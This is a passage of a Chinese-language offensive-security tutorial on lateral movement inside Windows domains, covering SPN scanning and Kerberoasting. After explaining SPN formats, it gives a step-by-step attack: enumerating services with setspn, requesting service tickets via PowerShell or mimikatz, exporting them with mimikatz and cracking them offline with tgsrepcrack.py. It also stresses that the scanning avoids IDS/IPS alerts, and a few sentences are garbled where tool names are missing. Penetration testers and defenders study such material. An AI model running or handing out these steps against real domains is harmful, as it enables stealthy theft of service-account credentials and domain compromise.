内网横向移动—Kerberos攻击SPN扫描WinRMWinRSRDP( 五 )


在活动目录中发现服务的最佳方法就是SPN扫描 。SPN扫描通过请求特定SPN类型的服务主体名称来查找服务 。与网络端口扫描相比,SPN扫描的主要特点是不需要通过连接网络中的每个IP地址来检查服务端口(不会因为触发内网中的IPS、IDS等设备的规则而产生大量的警告日志) 。因为SPN查询是票据行为的一部分,所以检测难度很大 。
由于SPN扫描是基于LDAP协议向域控制器进行查询的,所以,攻击者只需要获得一个普通的域用户权限,就可以进行SPN扫描 。
在域环境中,发现服务的最好办法就是通过”SPN扫描” 。通过请求特定SPN类型服务主体名称来查找服务 。
4.2.1. SPN格式
SPN = serviceclass “/” hostname [“:”port] [“/” servicename]serviceclass:标识服务类的字符串,例如Web服务的wwwhostname:一个字符串,是系统的名称 。这应该是全限定域名(FQDN) 。port:一个数字,是该服务的端口号 。servicename:一个字符串,它是服务的专有名称(DN),objectGuid,Internet主机名或全限定域名(FQDN) 。
注意: 服务类和主机是必需参数,但 端口和服务名是可选的,主机和端口之间的冒号只有当端口存在时才需要 。
4.2.2. 常见的服务与spn服务实例名称
MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433ExchangeexchangeMDB/adsmsEXCAS01.adsecurity.orgRDPTERMSERV/adsmsEXCAS01.adsecurity.orgWSMan / WinRM / PS RemotingWSMAN/adsmsEXCAS01.adsecurity.orgHyper-V HostMicrosoft Virtual Console Service/adsmsHV01.adsecurity.orgVMWare VCenterSTS/adsmsVC01.adsecurity.org
4.3. SPN测试案例 4.3.1. 扫描服务
扫描服务中间的是域控的域名,其实这里也有工具可以检测,只是不知道是不是需要二次编译,下载下来的是源码 。
setspn -T 0day.org -q */*#扫描全部服务setspn -T 0day.org -q */* | findstr "MSSQL"#扫描指定服务
4.3.2. 清空票据
这里清空票据也是怕影响后续的票据影响 。
klist purge
4.3.3. 请求连接
这里我们可以进行请求一下,再请求后会留下票据,这里可以使用或者进行请求,如果再cs中,方便的话还是使用进行请求 。
请求:(要产生票据文件),选一个服务,查看是否是rc4加密powershell Add-Type -AssemblyName System.IdentityModelpowershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"或mimakatz请求mimikatz kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433
4.3.4. 查看票据
这里可以看一下,一定要是RC4才能够进行破解成功 。
klist
4.3.5. 导出票据
这里使用导出票据,导出后会在目录中出现相应的票据,这时候我们只需要使用cs自带的文件浏览查看即可 。
mimikatz kerberos::list /export
4.3.6. 破解票据
这里破解工具相当于是将你的密码字典进行加密比较,成功与否取决于你的字典,同时需要使用到 。
破解票据工具
python .\tgsrepcrack.py .\pass.txt .\1-40a00000-webadmin@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi